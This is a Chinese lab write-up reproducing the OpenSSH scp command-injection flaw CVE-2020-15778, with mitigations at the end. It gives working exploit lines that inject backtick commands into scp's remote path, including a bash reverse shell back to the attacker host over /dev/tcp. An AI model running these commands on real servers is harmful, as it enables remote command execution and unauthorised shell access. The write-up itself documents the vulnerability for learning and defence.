漏洞认识
漏洞介绍:
OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响
漏洞复现:
漏洞环境:
攻击机:192.168.107.129(Kali)
目标机:192.168.107.133(Ubuntu 16.04)
漏洞利用条件:
1、OpenSSH <=8.3p1
2、需ssh登录密码
scp命令:
1、Linux scp 命令用于 Linux 之间复制文件和目录。
2、scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
3、scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
1、先查看目标机器ssh版本:
ssh -V
2、利用scp命令,用kali对Ubuntu进行写文件,复制文件:
#复制当前目录下的top500.txt到目标的/tmp目录下,并且执行 touch /tmp/test.txt 的命令
scp / top500.txt b4yi@192.168.107.133:'`touch /tmp/test.txt` /tmp'
Ubuntu上成功复制了文件并执行了创建文件的命令,确认漏洞存在:
既然如此,直接反弹shell岂不美哉
scp / readme.txt b4yi@192.168.107.133:'`/bin/bash -i >& /dev/tcp/192.168.107.129/8888 0>&1` /tmp/test1.txt'
适用情景:
这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),其中有可能由以下几种方式实现:
1、scponly/rssh等软件包,限制ssh登陆
2、iptables策略
service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
详情参考:
iptables拒绝ssh访问但不阻止scp和rsync
防御手段:
1、等待官方补丁
2、加强ssh密码强度,定期更换密码
3、使用rsync代替scp
又水一篇文章~欧耶!
参考如下:
OpenSSH 命令注入漏洞(CVE-2020-15778)
OpenSSH命令注入漏洞复现(CVE-2020-15778
CVE-2020-15778 Openssh-SCP 命令注入漏洞复现报告
网友评论